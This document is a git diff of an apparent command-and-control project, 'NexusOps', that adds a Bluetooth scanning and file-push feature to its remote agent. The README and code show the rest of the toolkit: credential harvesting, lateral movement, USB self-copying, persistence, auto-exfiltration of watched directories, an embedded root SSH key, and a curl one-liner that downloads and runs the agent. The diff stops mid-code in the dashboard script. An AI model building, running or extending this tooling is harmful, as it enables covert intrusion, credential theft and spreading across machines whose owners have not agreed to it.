diff --git a/README.md b/README.md index dd597a9..608d0e2 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin **Public URL:** https://agent.thetempleofdoom.com **Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service` **Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard -**Agent version:** v2.5.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement) +**Agent version:** v2.6.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement) --- @@ -35,6 +35,7 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin | **Topology map** | Auto-drawn network graph: nodes + every host discovered by lateral scans | | **Critical-only Telegram** | Kill switch / new node / creds harvested / node-offline push to Telegram (token server-side only) | | **Android nodes (Termux)** | One-liner installer (auto-detected by the Universal path), persistence via bashrc + Termux:Boot, screenshots, sshd on 8022, auto-tagged `android` | +| **BT Radar (consent-gated)** | Per-node bluetooth scan of every device in range (MAC/name/RSSI). Push/sync only works on devices you explicitly Approve — pairing on the device is the consent. Stored at `/api/btradar`. | | **GPU decrypt worker** | systemd worker on nightmare polls `/api/decrypt/queue`, stashes blobs for hashcat (4080S); creds that need brute-force route here | | **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket | | **UX** | Hover tooltips explaining every term, empty-state install hero, toasts, dark design system | @@ -66,9 +67,9 @@ curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmo **Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register) -## Agent actions (28) +## Agent actions (31) -`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` · `open_ssh` · `lateral_movement` · `pivot_fetch` · `watch_dir` +`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` · `open_ssh` · `lateral_movement` · `pivot_fetch` · `watch_dir` · `bt_scan` · `bt_whitelist` · `bt_push` ## Architecture diff --git a/agents/agent.py b/agents/agent.py index fa54d6e..b50276d 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -14,7 +14,7 @@ import subprocess import shutil import getpass import urllib.request -AGENT_VERSION = "2.5.0" +AGENT_VERSION = "2.6.0" NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14')) NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else [] NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay' @@ -1250,6 +1250,112 @@ def execute_structured_action(action_type, payload): _dir_watch_add(d) return f"watching {d} — new files auto-exfil", 0 + elif action_type == "bt_scan": + # BT Radar: inventory every discoverable/paired bluetooth device in range. + # Read-only discovery — no connections initiated beyond inquiry. + system = platform.system().lower() + devices = [] + if system == "linux" and _is_termux(): + r = subprocess.run("termux-bluetooth-scaninfo", shell=True, capture_output=True, text=True, timeout=45) + try: + raw = json.loads(r.stdout or "[]") + for d in raw if isinstance(raw, list) else []: + devices.append({"mac": d.get("mac_address", ""), "name": d.get("name", ""), + "rssi": d.get("rssi", "")}) + except Exception: + return "ERROR: termux-bluetooth-scaninfo failed (install Termux:API app + pkg install termux-api + grant BT perms)", 1 + elif system == "linux": + has_bt = subprocess.run("hcitool dev 2>/dev/null | grep -q hci || bluetoothctl list 2>/dev/null | grep -q Controller", + shell=True, capture_output=True, timeout=10) + if has_bt.returncode != 0: + return "ERROR: no bluetooth adapter on this node", 1 + subprocess.run("(bluetoothctl scan on & SCAN_PID=$!; sleep 8; kill $SCAN_PID 2>/dev/null; wait 2>/dev/null)", + shell=True, capture_output=True, timeout=25) + r = subprocess.run("bluetoothctl devices", shell=True, capture_output=True, text=True, timeout=15) + for line in r.stdout.splitlines(): + if line.startswith("Device "): + parts = line.split(" ", 2) + if len(parts) >= 3: + devices.append({"mac": parts[1], "name": parts[2]}) + for d in devices: + info = subprocess.run(f"bluetoothctl info {d['mac']}", shell=True, + capture_output=True, text=True, timeout=8) + for ln in info.stdout.splitlines(): + if "RSSI:" in ln: + d["rssi"] = ln.split(":")[1].strip() + if "Paired: yes" in ln: + d["paired"] = True + elif system == "darwin": + r = subprocess.run(["system_profiler", "SPBluetoothDataType", "-json"], + capture_output=True, text=True, timeout=45) + try: + data = json.loads(r.stdout) + bt = (data.get("SPBluetoothDataType") or [{}])[0] + for key in ("device_connected", "device_not_connected"): + for dev in (bt.get(key) or []): + devices.append({"mac": dev.get("device_address", ""), + "name": dev.get("device_title", dev.get("device_name", "")), + "paired": key == "device_connected"}) + except Exception: + return "ERROR: bluetooth profiler failed", 1 + wl = os.path.expanduser("~/.nexus_bt_whitelist") + mine = set() + try: + mine = set(l.strip().lower() for l in open(wl) if l.strip()) + except Exception: + pass + for d in devices: + d["mine"] = d.get("mac", "").lower() in mine + return json.dumps({"type": "bt_scan_result", "devices": devices}), 0 + + elif action_type == "bt_whitelist": + # Manage the consent list: {"add": "MAC", "remove": "MAC"} or {"list": true} + wl = os.path.expanduser("~/.nexus_bt_whitelist") + cur = set() + try: + cur = set(l.strip().lower() for l in open(wl) if l.strip()) + except Exception: + pass + if payload.get("list"): + return "whitelist: " + (", ".join(sorted(cur)) or "empty"), 0 + add = (payload.get("add") or "").strip().lower() + rem = (payload.get("remove") or "").strip().lower() + if add: + cur.add(add) + if rem: + cur.discard(rem) + with open(wl, "w") as f: + f.write("\n".join(sorted(cur))) + return f"whitelist: {', '.join(sorted(cur)) or 'empty'}", 0 + + elif action_type == "bt_push": + # Sync a file to a PAIRED + WHITELISTED device over BT OBEX. + # Consent gate: MAC must be in ~/.nexus_bt_whitelist AND paired on this node. + mac = (payload.get("mac") or "").strip().lower() + path = payload.get("path", "") + wl = os.path.expanduser("~/.nexus_bt_whitelist") + allowed = set() + try: + allowed = set(l.strip().lower() for l in open(wl) if l.strip()) + except Exception: + pass + if not mac or mac not in allowed: + return f"ERROR: {mac or '(no mac)'} not in whitelist — operator must approve this device first", 1 + if not path or not os.path.exists(path): + return f"ERROR: no such file: {path}", 1 + system = platform.system().lower() + if system == "darwin": + return "ERROR: BT file push unsupported on macOS agent (pair the device and use AirDrop/finder sync)", 1 + for cmd in (f"ussp-push {shlex.quote(path)} {mac}@ 1", + f"bluetooth-sendto --device {mac} {shlex.quote(path)}"): + try: + r = subprocess.run(cmd, shell=True, capture_output=True, timeout=90) + if r.returncode == 0: + return f"synced {path} -> {mac}", 0 + except Exception: + pass + return f"push to {mac} failed — needs ussp-push/bluetooth-sendto + device paired & accepting", 1 + elif action_type == "export_diagnostics": cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" return run_shell(cmd) @@ -1489,7 +1595,11 @@ def main(): special = json.loads(output) except: pass - if special and special.get("type") == "file_result": + if special and special.get("type") == "bt_scan_result": + http_post(f"{server_url}/api/agent/bt-result", { + "commandId": cmd_id, "nodeId": node_id, "hostname": hostname, + "devices": special.get("devices", [])}) + elif special and special.get("type") == "file_result": # Route to file-result endpoint http_post(f"{server_url}/api/agent/file-result", { "commandId": cmd_id, diff --git a/dist/NexusAgent b/dist/NexusAgent index 1ab2999..c482fd0 100755 Binary files a/dist/NexusAgent and b/dist/NexusAgent differ diff --git a/public/app_v2.js b/public/app_v2.js index b0ddbbe..ef9c5d6 100644 --- a/public/app_v2.js +++ b/public/app_v2.js @@ -725,3 +725,92 @@ async function updateAllOutdated() { }); mo.observe(document.body, { childList: true, subtree: true }); })(); + + +// ═════════════════════════════════════════════════════════════════════ +// BT RADAR — consent-gated bluetooth device inventory +// ═════════════════════════════════════════════════════════════════════ + +async function drawerBtScan(nodeId) { + const el = document.getElementById('btBox') || document.getElementById('pingResult'); + try { + await api(`/api/nodes/${nodeId}/command`, { + method: 'POST', headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType: 'bt_scan', command: 'bt_scan', payload: {} }) + }); + // poll btradar for this node + let tries = 0; + const iv = setInterval(async () => { + tries++; + const r = await api('/api/btradar').catch(() => null); + const entry = r && r.radar && r.radar[nodeId]; + if (entry) { + clearInterval(iv); + renderBtList(nodeId, entry); + } else if (tries > 12) { + clearInterval(iv); + } + }, 4000); + } catch (e) { console.error(e); } +} + +function renderBtList(nodeId, entry) { + let box = document.getElementById('btBox'); + const body = document.getElementById('ndBody'); + if (!body) return; + if (!box) { + box = document.createElement('div'); + box.id = 'btBox'; + box.style.cssText = 'border:1px solid #1e293b;border-radius:8px;padding:0.75rem;'; + body.appendChild(box); + } + const devs = (entry.devices || []); + const ago = Math.round((Date.now() - entry.at) / 60000); + const esc = escapeHtml; + box.innerHTML = ` +